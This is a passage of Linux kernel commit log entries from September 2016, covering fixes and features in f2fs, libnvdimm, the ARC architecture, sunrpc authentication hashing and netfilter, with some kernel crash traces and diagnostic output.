2443b8b363917468e2fb163b34c8f14fe1546251 Author: Chao Yu Date: Mon Sep 26 19:45:06 2016 +0800 f2fs: fix to recover old fault injection config in ->remount_fs In ->remount_fs, we didn't recover original fault injection config if we encounter error, fix it. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim fs/f2fs/super.c | 6 ++++++ 1 file changed, 6 insertions(+) commit 36dbd3287fefdfceeb6a82997241c26df29882c8 Author: Chao Yu Date: Mon Sep 26 19:45:05 2016 +0800 f2fs: do fault injection initialization in default_options Do fault injection initialization in default_options to keep consistent with other default option configurating. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim fs/f2fs/super.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 9c094040c58ea2f6ae81621c6d9057dc0c94f8f8 Author: Yunlei He Date: Sat Sep 24 12:29:18 2016 +0800 f2fs: remove redundant value definition This patch remove redundant value definition in build_sit_entries Signed-off-by: Yunlei He Reviewed-by: Chao Yu Signed-off-by: Jaegeuk Kim fs/f2fs/segment.c | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) commit 1ecc0c5c50ce8834f7e35b63be7480bf1aaa4155 Author: Chao Yu Date: Fri Sep 23 21:30:09 2016 +0800 f2fs: support configuring fault injection per superblock Previously, we only support global fault injection configuration, so that when we configure type/rate of fault injection through sysfs, mount option, it will influence all f2fs partition which is being used. It is not make sence, since it will be not convenient if developer want to test separated partitions with different fault injection rate/type simultaneously, also it's not possible to enable fault injection in one partition and disable fault injection in other one. >From now on, we move global configuration of fault injection in module into per-superblock, hence injection testing can be more flexible. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim fs/f2fs/acl.c | 12 +++++---- fs/f2fs/checkpoint.c | 2 +- fs/f2fs/data.c | 2 +- fs/f2fs/dir.c | 2 +- fs/f2fs/f2fs.h | 74 +++++++++++++++++++++++++--------------------------- fs/f2fs/gc.c | 2 +- fs/f2fs/inline.c | 4 +-- fs/f2fs/inode.c | 2 +- fs/f2fs/node.c | 2 +- fs/f2fs/super.c | 57 +++++++++++----------------------------- 10 files changed, 65 insertions(+), 94 deletions(-) commit d32853de5080e7f0c2962de0058ea71d1e244f76 Author: Chao Yu Date: Fri Sep 23 13:24:56 2016 +0800 f2fs: adjust display format of segment bit Just adjust segment bit info printed in procfs. Before: 1008 5|0 |0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1009 3|183|0 0 61 20 20 0 0 21 80 c0 2 e4 e 54 0 21 21 17 a 44 d0 28 e4 50 40 30 8 0 2d 32 0 5 b0 80 1 43 2 8e f8 7b 2 25 93 bf e0 73 8e 9a 19 44 60 ff e4 cc e6 8e bf f9 ff 5 3d 31 3d 13 1010 3|1 |0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 40 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 After: 1008 5|0 | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1009 4|434| ff 7d ff bf d9 3f ff e7 ff bf d7 bf ff bb be ff fb df f7 fb fa bf fb fe bb df dd ff fe ef ff fe ef e2 27 bf ab bf fb df fd bd bf fb db fc ff ff 3f ff ff bf ff 5f db 3f fb fb bf fb bf 4f ff ef 1010 4|422| ff bb fe ff ef d7 ee ff ff fc bf ef 7d eb ec fd fb 3f 97 7f ef ff af ff db ff ff 69 bf ff f6 e7 ff fb f7 7b fb df be ff ff ef f3 fe ff ff df fe f7 fa ff b7 77 be fe fb a9 7f 87 a2 ac c7 ff 75 Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim fs/f2fs/super.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit bb5dada7d24778c6a315ded220ade20068305050 Author: Jaegeuk Kim Date: Fri Sep 23 11:29:00 2016 -0700 f2fs: remove dirty inode pages in error path When getting EIO while handling orphan inodes, we can get some dirty node pages. Then, f2fs_write_node_pages() called by iput(node_inode) will try to flush node pages. But in this case, we should prevent to do that, since we will try again from the start. Signed-off-by: Jaegeuk Kim fs/f2fs/super.c | 1 + 1 file changed, 1 insertion(+) commit ef68bf119788be4b468aa6d72362c8c5bbc3e073 Author: Eric Biggers Date: Thu Sep 22 13:31:48 2016 -0700 f2fs: do not unnecessarily null-terminate encrypted symlink data Null-terminating the fscrypt_symlink_data on read is unnecessary because it is not string data --- it contains binary ciphertext. Signed-off-by: Eric Biggers Signed-off-by: Jaegeuk Kim fs/f2fs/namei.c | 2 -- 1 file changed, 2 deletions(-) commit d41065e20484c53d8976742367bb78ac248fb0d5 Author: Jaegeuk Kim Date: Wed Sep 21 11:39:42 2016 -0700 f2fs: handle errors during recover_orphan_inodes This patch fixes to handle EIO during recover_orphan_inode() given the below panic. F2FS-fs : inject IO error in f2fs_read_end_io+0xe6/0x100 [f2fs] ------------[ cut here ]------------ RIP: 0010:[] [] f2fs_evict_inode+0x433/0x470 [f2fs] RSP: 0018:ffff92f8b7fb7c30 EFLAGS: 00010246 RAX: ffff92fb88a13500 RBX: ffff92f890566ea0 RCX: 00000000fd3c255c RDX: 0000000000000001 RSI: ffff92fb88a13d90 RDI: ffff92fb8ee127e8 RBP: ffff92f8b7fb7c58 R08: 0000000000000001 R09: ffff92fb88a13d58 R10: 000000005a6a9373 R11: 0000000000000001 R12: 00000000fffffffb R13: ffff92fb8ee12000 R14: 00000000000034ca R15: ffff92fb8ee12620 FS: 00007f1fefd8e880(0000) GS:ffff92fb95600000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007fc211d34cdb CR3: 000000012d43a000 CR4: 00000000001406e0 Stack: ffff92f890566ea0 ffff92f890567078 ffffffffc0b5a0c0 ffff92f890566f28 ffff92fb888b2000 ffff92f8b7fb7c80 ffffffffbc27ff55 ffff92f890566ea0 ffff92fb8bf10000 ffffffffc0b5a0c0 ffff92f8b7fb7cb0 ffffffffbc28090d Call Trace: [] evict+0xc5/0x1a0 [] iput+0x1ad/0x2c0 [] recover_orphan_inodes+0x10c/0x2e0 [f2fs] [] f2fs_fill_super+0x884/0x1150 [f2fs] [] mount_bdev+0x18c/0x1c0 [] ? f2fs_commit_super+0x100/0x100 [f2fs] [] f2fs_mount+0x15/0x20 [f2fs] [] mount_fs+0x39/0x170 [] vfs_kern_mount+0x6b/0x160 [] do_mount+0x1cf/0xd00 [] ? copy_mount_options+0xac/0x170 [] SyS_mount+0x83/0xd0 [] entry_SYSCALL_64_fastpath+0x23/0xc1 Reviewed-by: Chao Yu Signed-off-by: Jaegeuk Kim fs/f2fs/checkpoint.c | 27 +++++++++++++++++---------- fs/f2fs/super.c | 1 + 2 files changed, 18 insertions(+), 10 deletions(-) commit 646e759a4d09062df943eaf61cb8141a91204380 Author: Jaegeuk Kim Date: Wed Sep 21 09:37:23 2016 -0700 f2fs: avoid gc in cp_error case Otherwise, we can hit f2fs_bug_on(sbi, !PageUptodate(sum_page)); Reviewed-by: Chao Yu Signed-off-by: Jaegeuk Kim fs/f2fs/gc.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit f6fe2be3c6d6f0127742ae1cc2e3ffe9ad31ea8b Author: Jaegeuk Kim Date: Wed Sep 21 09:34:48 2016 -0700 f2fs: should put_page for summary page We should call put_page for preloaded summary pages in do_garbage_collect. Reviewed-by: Chao Yu Signed-off-by: Jaegeuk Kim fs/f2fs/gc.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 2956e450fa08669ebf1541acb07843b5aa6acf96 Author: Jaegeuk Kim Date: Wed Sep 21 09:28:06 2016 -0700 f2fs: assign return value in f2fs_gc This patch adds a return value of write_checkpoint for f2fs_gc. Reviewed-by: Chao Yu Signed-off-by: Jaegeuk Kim fs/f2fs/gc.c | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) commit 5b7a487cf32d3a266fea83d590d3226b5ad817a7 Author: Weichao Guo Date: Tue Sep 20 05:03:27 2016 +0800 f2fs: add customized migrate_page callback This patch improves the migration of dirty pages and allows migrating atomic written pages that F2FS uses in Page Cache. Instead of the fallback releasing page path, it provides better performance for memory compaction, CMA and other users of memory page migrating. For dirty pages, there is no need to write back first when migrating. For an atomic written page before committing, we can migrate the page and update the related 'inmem_pages' list at the same time. Signed-off-by: Weichao Guo Reviewed-by: Chao Yu [Jaegeuk Kim: fix some coding style] Signed-off-by: Jaegeuk Kim fs/f2fs/checkpoint.c | 3 +++ fs/f2fs/data.c | 55 ++++++++++++++++++++++++++++++++++++++++++++++++++++ fs/f2fs/f2fs.h | 4 ++++ fs/f2fs/node.c | 3 +++ 4 files changed, 65 insertions(+) commit aaec2b1d18792a5f27b69ff37f34f43f89f5aa3b Author: Chao Yu Date: Tue Sep 20 11:04:18 2016 +0800 f2fs: introduce cp_lock to protect updating of ckpt_flags This patch introduces spinlock to protect updating process of ckpt_flags field in struct f2fs_checkpoint, it avoids incorrectly updating in race condition. Signed-off-by: Chao Yu [Jaegeuk Kim: add __is_set_ckpt_flags likewise __set_ckpt_flags] Signed-off-by: Jaegeuk Kim fs/f2fs/checkpoint.c | 31 ++++++++++++++++++------------- fs/f2fs/f2fs.h | 41 +++++++++++++++++++++++++++++++++-------- fs/f2fs/node.h | 4 ++-- fs/f2fs/recovery.c | 2 +- fs/f2fs/segment.c | 4 ++-- fs/f2fs/super.c | 5 +++-- 6 files changed, 59 insertions(+), 28 deletions(-) commit e046114af5fcafe8d6d3f0b6ccb99804bad34bfb Author: Vishal Verma Date: Fri Sep 30 17:19:31 2016 -0600 libnvdimm: clear the internal poison_list when clearing badblocks nvdimm_clear_poison cleared the user-visible badblocks, and sent commands to the NVDIMM to clear the areas marked as 'poison', but it neglected to clear the same areas from the internal poison_list which is used to marshal ARS results before sorting them by namespace. As a result, once on-demand ARS functionality was added: 37b137f nfit, libnvdimm: allow an ARS scrub to be triggered on demand A scrub triggered from either sysfs or an MCE was found to be adding stale entries that had been cleared from gendisk->badblocks, but were still present in nvdimm_bus->poison_list. Additionally, the stale entries could be triggered into producing stale disk->badblocks by simply disabling and re-enabling the namespace or region. This adds the missing step of clearing poison_list entries when clearing poison, so that it is always in sync with badblocks. Fixes: 37b137f ("nfit, libnvdimm: allow an ARS scrub to be triggered on demand") Signed-off-by: Vishal Verma Signed-off-by: Dan Williams drivers/nvdimm/bus.c | 2 ++ drivers/nvdimm/core.c | 73 ++++++++++++++++++++++++++++++++++++++++++++--- include/linux/libnvdimm.h | 2 ++ 3 files changed, 73 insertions(+), 4 deletions(-) commit bd697a80c329072b991475fa6608bb0e665b3d90 Author: Vishal Verma Date: Fri Sep 30 17:19:30 2016 -0600 pmem: reduce kmap_atomic sections to the memcpys only pmem_do_bvec used to kmap_atomic at the begin, and only unmap at the end. Things like nvdimm_clear_poison may want to do nvdimm subsystem bookkeeping operations that may involve taking locks or doing memory allocations, and we can't do that from the atomic context. Reduce the atomic context to just what needs it - the memcpy to/from pmem. Cc: Ross Zwisler Signed-off-by: Vishal Verma Signed-off-by: Dan Williams drivers/nvdimm/pmem.c | 28 +++++++++++++++++++++++----- 1 file changed, 23 insertions(+), 5 deletions(-) commit 9ffd6350a103cb9e73e3abb4573c900cfead2f9b Author: Vishal Verma Date: Fri Sep 30 17:19:29 2016 -0600 nfit: don't start a full scrub by default for an MCE Starting a full Address Range Scrub (ARS) on hitting a memory error machine check exception may not always be desirable. Provide a way through sysfs to toggle the behavior between just adding the address (cache line) where the MCE happened to the poison list and doing a full scrub. The former (selective insertion of the address) is done unconditionally. Cc: linux-acpi@vger.kernel.org Cc: Linda Knippers Cc: Rafael J. Wysocki Signed-off-by: Vishal Verma Signed-off-by: Dan Williams drivers/acpi/nfit/core.c | 53 ++++++++++++++++++++++++++++++++++++++++++++++++ drivers/acpi/nfit/mce.c | 24 +++++++++++++++++----- drivers/acpi/nfit/nfit.h | 6 ++++++ 3 files changed, 78 insertions(+), 5 deletions(-) commit ef25bacbb0193f98e9b297c00b54913086571094 Author: Vineet Gupta Date: Fri Sep 16 15:54:13 2016 -0700 ARC: [plat*] enables MODULE* Signed-off-by: Vineet Gupta arch/arc/configs/axs101_defconfig | 3 +++ arch/arc/configs/axs103_defconfig | 3 +++ arch/arc/configs/axs103_smp_defconfig | 3 +++ arch/arc/configs/nsim_hs_defconfig | 5 ++++- arch/arc/configs/nsim_hs_smp_defconfig | 3 +++ 5 files changed, 16 insertions(+), 1 deletion(-) commit cd5d38b052384daa2893e9a1d94900d5a20ed4b5 Author: Vineet Gupta Date: Fri Sep 30 13:27:25 2016 -0700 ARCv2: fix local_save_flags Commit d9676fa152c83b ("ARCv2: Enable LOCKDEP"), changed local_save_flags() to not return raw STATUS32 but encoded in the form such that it could be fed directly to CLRI/SETI instructions. However the STATUS32.E[] was not captured correctly as it corresponds to bits [4:1] in the register and not [3:0] Fixes: d9676fa152c83b ("ARCv2: Enable LOCKDEP") Cc: Evgeny Voevodin Signed-off-by: Vineet Gupta arch/arc/include/asm/irqflags-arcv2.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 3528f84f75d5d6aa4d5bb365162ac4f016f8a6fa Author: Noam Camus Date: Wed Sep 21 13:51:48 2016 +0300 ARC: CONFIG_NODES_SHIFT fix default values Seem like values assigned as absolute number and not and shift value, i.e. should be 0 for one node (2^0) and 1 for couple of nodes (2^1) Signed-off-by: Noam Camus Signed-off-by: Vineet Gupta arch/arc/Kconfig | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit bc0c7ece6191d89f435e4e4016f74167430c6c21 Author: Yuriy Kolerov Date: Mon Sep 12 18:55:03 2016 +0300 ARCv2: intc: Use kflag if STATUS32.IE must be reset In the end of "arc_init_IRQ" STATUS32.IE flag is going to be affected by "flag" instruction but "flag" never touches IE flag on ARCv2. So "kflag" instruction must be used instead of "flag". Signed-off-by: Yuriy Kolerov Cc: stable@vger.kernel.org #4.2+ Signed-off-by: Vineet Gupta arch/arc/kernel/intc-arcv2.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 99a2ca65d558ecdea4c184baad6730f2aec3aad0 Author: Vineet Gupta Date: Wed Sep 28 14:43:25 2016 -0700 ARC: .exit.* sections can be discarded in .eh_frame regime We used to keep the .exit.* sections as linker would fail in final link due to references from .debug_frame which itself could not be discardrd due to the forced "write,alloc" attributes for it. | LD init/built-in.o | `.exit.text' referenced in section `.debug_frame' of arch/arc/built-in.o: defined in discarded section `.exit.text' of arch/arc/built-in.o | Makefile:949: recipe for target 'vmlinux' failed With .debug_frame now retired, this hack is no longer needed. kernel binary is now a little bit smaller as well. closes STAR 9000549913 Signed-off-by: Vineet Gupta arch/arc/kernel/vmlinux.lds.S | 8 -------- 1 file changed, 8 deletions(-) commit 86effd0dc675c36caed7b954d7f4f63b77c353b5 Author: Vineet Gupta Date: Mon Sep 19 16:42:25 2016 -0700 ARC: dw2 unwind: enable cfi pseudo ops in string lib This uses a new set of annoations viz. ENTRY_CFI/END_CFI to enabel cfi ops generation. Note that we didn't change the normal ENTRY/EXIT as we don't actually want unwind info in the trap/exception/interrutp handlers which use these, as unwinder then gets confused (it keeps recursing vs. stopping). Semantically these are leaf routines and unwinding should stop when it hits those routines. Before ------ 28.52% 1.19% 9929 hackbench libuClibc-1.0.17.so [.] __write_nocancel | ---__write_nocancel |--8.95%--EV_Trap | --8.25%--sys_write | |--3.93%--sock_write_iter ... |--2.62%--memset <==== [LEAF entry as no unwind info] ^^^^^^ After ----- 29.46% 1.24% 13622 hackbench libuClibc-1.0.17.so [.] __write_nocancel | ---__write_nocancel |--9.31%--EV_Trap | --8.62%--sys_write | |--4.17%--sock_write_iter ... |--6.19%--sys_write | --6.19%--sock_write_iter | unix_stream_sendmsg | |--1.62%--sock_alloc_send_pskb | |--0.89%--sock_def_readable | |--0.88%--_raw_spin_unlock_irqrestore | |--0.69%--memset | | ^^^^^^ <==== [now in proper callframe] | | | --0.52%--skb_copy_datagram_from_iter Signed-off-by: Vineet Gupta arch/arc/kernel/ctx_sw_asm.S | 3 ++- arch/arc/lib/memcmp.S | 4 ++-- arch/arc/lib/memcpy-700.S | 4 ++-- arch/arc/lib/memcpy-archs.S | 4 ++-- arch/arc/lib/memset-archs.S | 8 ++++---- arch/arc/lib/memset.S | 8 ++++---- arch/arc/lib/strchr-700.S | 4 ++-- arch/arc/lib/strcmp-archs.S | 4 ++-- arch/arc/lib/strcmp.S | 4 ++-- arch/arc/lib/strcpy-700.S | 4 ++-- arch/arc/lib/strlen.S | 4 ++-- 11 files changed, 26 insertions(+), 25 deletions(-) commit 5a205a32ffccf6e720a2d2b3aee44b16619016a6 Author: Vineet Gupta Date: Fri Sep 16 17:23:26 2016 -0700 ARC: dw2 unwind: add infrastructure for adding cfi pseudo ops to asm 1. detect whether binutils supports the cfi pseudo ops 2. define conditional macros to generate the ops 3. define new ENTRY_CFI/END_CFI to annotate hand asm code. - Needed because we don't want to emit dwarf info in general ENTRY/END used by lowest level trap/exception/interrutp handlers as unwinder gets confused trying to unwind out of them. We want unwinder to instead stop when it hits onfo those routines - These provide minimal start/end cfi ops assuming routine doesn't touch stack memory/regs Signed-off-by: Vineet Gupta arch/arc/Makefile | 3 ++- arch/arc/include/asm/dwarf.h | 38 ++++++++++++++++++++++++++++++++++++++ arch/arc/include/asm/linkage.h | 12 ++++++++++++ 3 files changed, 52 insertions(+), 1 deletion(-) commit 2dad1122d9d936cf120953324eaaa38c3ab20ac2 Author: Vineet Gupta Date: Fri Sep 16 17:13:29 2016 -0700 ARC: entry: make ret_from_system_call local label This essentially removes ENTRY() assembler annotation for this symbol since it didn't have a pairing END() This in ahead of introducing cfi pseudo ops in ENTRY/END which expects paired cfi_startproc/cfi_endproc | ../arch/arc/kernel/entry.S: Assembler messages: | ../arch/arc/kernel/entry.S:270: Error: previous CFI entry not closed (missing .cfi_endproc) | ../scripts/Makefile.build:326: recipe for target 'arch/arc/kernel/entry-arcv2.o' failed | make[4]: *** [arch/arc/kernel/entry-arcv2.o] Error 1 Signed-off-by: Vineet Gupta arch/arc/kernel/entry.S | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) commit 2d0486424791b0d012d060854ce3bd1c6217a82c Author: Vineet Gupta Date: Fri Sep 16 11:14:36 2016 -0700 ARC: dw2 unwind: don't force dwarf 2 In .debug_frame based unwinding regime, we used to force -gdwarf-2 since kernel unwinder only claimed to handle dwarf 2. This changed since commit 6d0d506012c93d ("ARC: dw2 unwind: Don't bail for CIE.version != 1") which added some support beyond dwarf 2, atleast to handle CIE != 1 The ill-effect of -gdwarf-2 is that it forces generation of .debug_* sections, which bloats loadable modules .ko files. For the curious, this doesn't affect vmlinx binary since linker script discards .debug_* but same discard is not yet implemented for modules. So it seems we can drop the -gdwarf-2 toggle, which should not be needed anyways given that we now use .eh_frame based unwinding. I've verified using GNU 2016.09-engo10 that the actual unwind info is not different with or w/o this toggle - but the debug_* sections are gone for good. before ----- arc-linux-readelf -S q_proc.ko-unwinding-1-eh_frame-switch | grep debug [15] .debug_info PROGBITS 00000000 000300 00d08d 00 0 0 1 [16] .rela.debug_info RELA 00000000 0162a0 008844 0c I 29 15 4 [17] .debug_abbrev PROGBITS 00000000 00d38d 0005f8 00 0 0 1 [18] .debug_loc PROGBITS 00000000 00d985 000070 00 0 0 1 [19] .rela.debug_loc RELA 00000000 01eae4 0000c0 0c I 29 18 4 [20] .debug_aranges PROGBITS 00000000 00d9f5 000040 00 0 0 1 [21] .rela.debug_arang RELA 00000000 01eba4 000030 0c I 29 20 4 [22] .debug_ranges PROGBITS 00000000 00da35 000018 00 0 0 1 [23] .rela.debug_range RELA 00000000 01ebd4 000030 0c I 29 22 4 [24] .debug_line PROGBITS 00000000 00da4d 000b5b 00 0 0 1 [25] .rela.debug_line RELA 00000000 01ec04 0000cc 0c I 29 24 4 [26] .debug_str PROGBITS 00000000 00e5a8 007831 01 MS 0 0 1 after ---- Signed-off-by: Vineet Gupta arch/arc/Makefile | 6 ------ 1 file changed, 6 deletions(-) commit 6716dbbdefa9867ba98dea91d89b14168043a48c Author: Vineet Gupta Date: Mon Jun 24 21:22:06 2013 +0530 ARC: dw2 unwind: switch to .eh_frame based unwinding So finally after almost 8 years of dealing with .debug_frame, we are finally switching to .eh_frame. The reason being stripped kernel binaries had non-functional unwinder as .debug_frame was gone. Also, in general .eh_frame seems more common way of doing unwinding. This also folds a revert of f52e126cc747 ("ARC: unwind: ensure that .debug_frame is generated (vs. .eh_frame)") to ensure that we start getting .eh_frame Reported-by: Daniel Mentz Signed-off-by: Vineet Gupta arch/arc/Makefile | 2 ++ arch/arc/kernel/entry.S | 12 ------------ arch/arc/kernel/module.c | 13 ++++--------- arch/arc/kernel/unwind.c | 5 ++--- arch/arc/kernel/vmlinux.lds.S | 15 +++++---------- 5 files changed, 13 insertions(+), 34 deletions(-) commit d040876b4aad0c157c5c95779128b71a121ff27d Author: Vineet Gupta Date: Mon Nov 23 22:30:35 2015 +0530 ARC: dw2 unwind: factor CIE specifics for .eh_frame/.debug_frame This paves way for switching to .eh_frame based unwindiing Signed-off-by: Vineet Gupta arch/arc/kernel/unwind.c | 25 ++++++++++++++++++------- 1 file changed, 18 insertions(+), 7 deletions(-) commit 94f4fb0841bfa5c1088a1b3a879a65bdd675ecd2 Author: Vineet Gupta Date: Mon Sep 12 16:50:50 2016 -0700 ARC: module: support R_ARC_32_PCREL relocation Signed-off-by: Vineet Gupta arch/arc/include/asm/elf.h | 3 +-- arch/arc/kernel/module.c | 6 ++++-- 2 files changed, 5 insertions(+), 4 deletions(-) commit e0d5321faca1133cbb34a3a780d62a3a0814b6dc Author: Alexey Brodkin Date: Thu Aug 25 14:47:27 2016 +0300 arc: perf: Enable generic "cache-references" and "cache-misses" events We used to live with PERF_COUNT_HW_CACHE_REFERENCES and PERF_COUNT_HW_CACHE_REFERENCES not specified on ARC. Those events are actually aliases to 2 cache events that we do support and so this change sets "cache-reference" and "cache-misses" events in the same way as "L1-dcache-loads" and L1-dcache-load-misses. And while at it adding debug info for cache events as well as doing a subtle fix in HW events debug info - config value is much better represented by hex so we may see not only event index but as well other control bits set (if they exist). Signed-off-by: Alexey Brodkin Cc: Vineet Gupta Cc: Thomas Gleixner Cc: linux-snps-arc@lists.infradead.org Cc: linux-kernel@vger.kernel.org Cc: Arnaldo Carvalho de Melo Cc: Peter Zijlstra Signed-off-by: Vineet Gupta arch/arc/include/asm/perf_event.h | 3 +++ arch/arc/kernel/perf_event.c | 6 ++++-- 2 files changed, 7 insertions(+), 2 deletions(-) commit ce0f493240ad356bb18b7f3637d1705fc8fc5712 Author: Noam Camus Date: Mon Sep 19 08:34:40 2016 +0300 ARC: [plat-eznps] add missing atomic_fetch_xxx operations Build brekeage since last changes to generic atomic operations. Added couple of missing macros which are now mandatory Signed-off-by: Noam Camus Signed-off-by: Vineet Gupta arch/arc/include/asm/atomic.h | 2 ++ 1 file changed, 2 insertions(+) commit ce6365270ecd1216b48fb1440978e454ae0144de Author: Vineet Gupta Date: Mon Jul 27 17:23:28 2015 +0530 ARCv2: Implement atomic64 based on LLOCKD/SCONDD instructions ARCv2 ISA provides 64-bit exclusive load/stores so use them to implement the 64-bit atomics and elide the spinlock based generic 64-bit atomics boot tested with atomic64 self-test (and GOD bless the person who wrote them, I realized my inline assmebly is sloppy as hell) Cc: Peter Zijlstra Cc: Will Deacon Cc: linux-snps-arc@lists.infradead.org Cc: linux-kernel@vger.kernel.org Signed-off-by: Vineet Gupta arch/arc/Kconfig | 2 +- arch/arc/include/asm/atomic.h | 261 +++++++++++++++++++++++++++++++++++++++++- 2 files changed, 260 insertions(+), 3 deletions(-) commit 26c01c49d559268527d78f45a6818fae0c204a45 Author: Vineet Gupta Date: Fri Aug 26 15:41:29 2016 -0700 ARCv2: Support dynamic peripheral address space in HS38 rel 3.0 cores HS release 3.0 provides for even more flexibility in specifying the volatile address space for mapping peripherals. With HS 2.1 @start was made flexible / programmable - with HS 3.0 even @end can be setup (vs. fixed to 0xFFFF_FFFF before). So add code to reflect that and while at it remove an unused struct defintion Signed-off-by: Vineet Gupta arch/arc/include/asm/arcregs.h | 10 +--------- arch/arc/include/asm/cache.h | 2 +- arch/arc/kernel/setup.c | 4 ++-- arch/arc/mm/cache.c | 23 ++++++++++++++++++----- arch/arc/mm/ioremap.c | 2 +- 5 files changed, 23 insertions(+), 18 deletions(-) commit f507684637ceba4263de145ef7acb90cd107aa12 Author: Vineet Gupta Date: Fri Aug 26 15:48:58 2016 -0700 ARCv2: identify HS38 rel 3.0 cores Signed-off-by: Vineet Gupta arch/arc/kernel/setup.c | 1 + 1 file changed, 1 insertion(+) commit 9efac6798b20ae6b63ce244b569755f3b60d80aa Author: Vineet Gupta Date: Mon May 11 18:46:22 2015 +0530 ARCv2: Add support for ZeBu Emulation platform for HS cores The cool thing is that same kernel image can run on - nsim OSCI simulation platform - SDPlite FPGA setups Signed-off-by: Vineet Gupta arch/arc/boot/dts/zebu_hs.dts | 69 ++++++++++++++++++++++++++ arch/arc/boot/dts/zebu_hs_idu.dts | 85 ++++++++++++++++++++++++++++++++ arch/arc/configs/zebu_hs_defconfig | 86 ++++++++++++++++++++++++++++++++ arch/arc/configs/zebu_hs_smp_defconfig | 89 ++++++++++++++++++++++++++++++++++ arch/arc/plat-sim/platform.c | 1 + 5 files changed, 330 insertions(+) commit 618a9cd06dd471ac232f5b27325b24d26eba5571 Author: Alexey Brodkin Date: Tue Aug 16 07:26:31 2016 +0300 arc: Add "model" properly in device tree description of all boards As it was discussed quite some time ago (see https://lkml.org/lkml/2015/11/5/862) it's a good practice to add "model" property in .dts. Moreover as per ePAPR "model" property is required and should look like "manufacturer,model" so we do here. Signed-off-by: Alexey Brodkin Cc: Vineet Gupta Cc: Jonas Gorski Cc: Arnd Bergmann Cc: Rob Herring Cc: Christian Ruppert Signed-off-by: Vineet Gupta arch/arc/boot/dts/abilis_tb100_dvk.dts | 1 + arch/arc/boot/dts/abilis_tb101_dvk.dts | 1 + arch/arc/boot/dts/axs101.dts | 1 + arch/arc/boot/dts/axs103.dts | 1 + arch/arc/boot/dts/axs103_idu.dts | 1 + arch/arc/boot/dts/nsim_700.dts | 1 + arch/arc/boot/dts/nsim_hs.dts | 1 + arch/arc/boot/dts/nsim_hs_idu.dts | 1 + arch/arc/boot/dts/nsimosci.dts | 1 + arch/arc/boot/dts/nsimosci_hs.dts | 1 + arch/arc/boot/dts/nsimosci_hs_idu.dts | 1 + arch/arc/boot/dts/vdk_hs38.dts | 1 + arch/arc/boot/dts/vdk_hs38_smp.dts | 1 + 13 files changed, 13 insertions(+) commit 66cbd4ba8ac4711e8bad97b5bded31ec298c7433 Author: Frank Sorenson Date: Thu Sep 29 10:44:41 2016 -0500 sunrpc: replace generic auth_cred hash with auth-specific function Replace the generic code to hash the auth_cred with the call to the auth-specific hash function in the rpc_authops struct. Signed-off-by: Frank Sorenson Signed-off-by: Anna Schumaker net/sunrpc/auth.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit a960f8d6db431f5785ee28dbe903d61d821f368e Author: Frank Sorenson Date: Thu Sep 29 10:44:40 2016 -0500 sunrpc: add RPCSEC_GSS hash_cred() function Add a hash_cred() function for RPCSEC_GSS, using only the uid from the auth_cred. Signed-off-by: Frank Sorenson Signed-off-by: Anna Schumaker net/sunrpc/auth_gss/auth_gss.c | 7 +++++++ 1 file changed, 7 insertions(+) commit 1e035d065f3415809c056fb7537320a74c718537 Author: Frank Sorenson Date: Thu Sep 29 10:44:39 2016 -0500 sunrpc: add auth_unix hash_cred() function Add a hash_cred() function for auth_unix, using both the uid and gid from the auth_cred. Signed-off-by: Frank Sorenson Signed-off-by: Anna Schumaker net/sunrpc/auth_unix.c | 9 +++++++++ 1 file changed, 9 insertions(+) commit 18028c967e423673a055a30b1bf4e603ec64026d Author: Frank Sorenson Date: Thu Sep 29 10:44:38 2016 -0500 sunrpc: add generic_auth hash_cred() function Add a hash_cred() function for generic_auth, using both the uid and gid from the auth_cred. Signed-off-by: Frank Sorenson Signed-off-by: Anna Schumaker net/sunrpc/auth_generic.c | 9 +++++++++ 1 file changed, 9 insertions(+) commit e856a231d5d5742fe7c63e3a2b266bef668af5b4 Author: Frank Sorenson Date: Thu Sep 29 10:44:37 2016 -0500 sunrpc: add hash_cred() function to rpc_authops struct Currently, a single hash algorithm is used to hash the auth_cred for the credcache for all rpc_auth types. Add a hash_cred() function to the rpc_authops struct to allow a hash function specific to each auth flavor. Signed-off-by: Frank Sorenson Signed-off-by: Anna Schumaker include/linux/sunrpc/auth.h | 1 + 1 file changed, 1 insertion(+) commit 1f827f5138292a6124430cdd37bcb68f30c05467 Author: Vishwanath Pai Date: Thu Sep 29 13:39:50 2016 -0400 netfilter: xt_hashlimit: Fix link error in 32bit arch because of 64bit division Division of 64bit integers will cause linker error undefined reference to `__udivdi3'. Fix this by replacing divisions with div64_64 Fixes: 11d5f15723c9 ("netfilter: xt_hashlimit: Create revision 2 to ...") Signed-off-by: Vishwanath Pai Acked-by: Maciej Żenczykowski Signed-off-by: Pablo Neira Ayuso net/netfilter/xt_hashlimit.c | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) commit 7816ec564ec40ae20bb7925f733a181cad0cc491 